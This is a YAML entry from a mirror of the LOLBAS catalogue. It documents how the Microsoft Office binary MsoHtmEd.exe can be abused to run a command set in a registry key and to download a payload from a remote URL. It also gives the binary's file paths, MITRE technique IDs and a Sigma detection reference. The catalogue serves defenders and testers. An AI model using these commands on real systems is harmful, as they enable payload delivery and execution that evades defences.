mirror of
https://github.com/LOLBAS-Project/LOLBAS
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43 lines
2.3 KiB
YAML
43 lines
2.3 KiB
YAML
---
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Name: MsoHtmEd.exe
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Description: Microsoft Office component
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Author: Nir Chako
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Created: 2022-07-24
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Commands:
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- Command: MsoHtmEd.exe https://any-valid-link-to-download-any-html-file-from.com
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Description: Execute a command line from the registry
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Usecase: Set this registry key with the desired commaned you want to trigger - reg add "HKCU\SOFTWARE\Microsoft\Shared\HTML\Default Editor\shell\edit\command" /f /t REG_SZ /d "calc.exe"
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 10, Windows 11
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- Command: MsoHtmEd.exe https://example.com/payload
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Description: Downloads payload from remote server
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Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows 10, Windows 11
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Full_Path:
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- Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSOHTMED.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office16\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office\Office16\MSOHTMED.exe
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- Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSOHTMED.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office15\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office\Office15\MSOHTMED.exe
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- Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSOHTMED.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office\Office14\MSOHTMED.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office12\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
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- Path: C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml
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- IOC: Suspicious Office application internet/network traffic
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Acknowledgement:
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- Person: Nir Chako (Pentera)
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Handle: '@C_h4ck_0'
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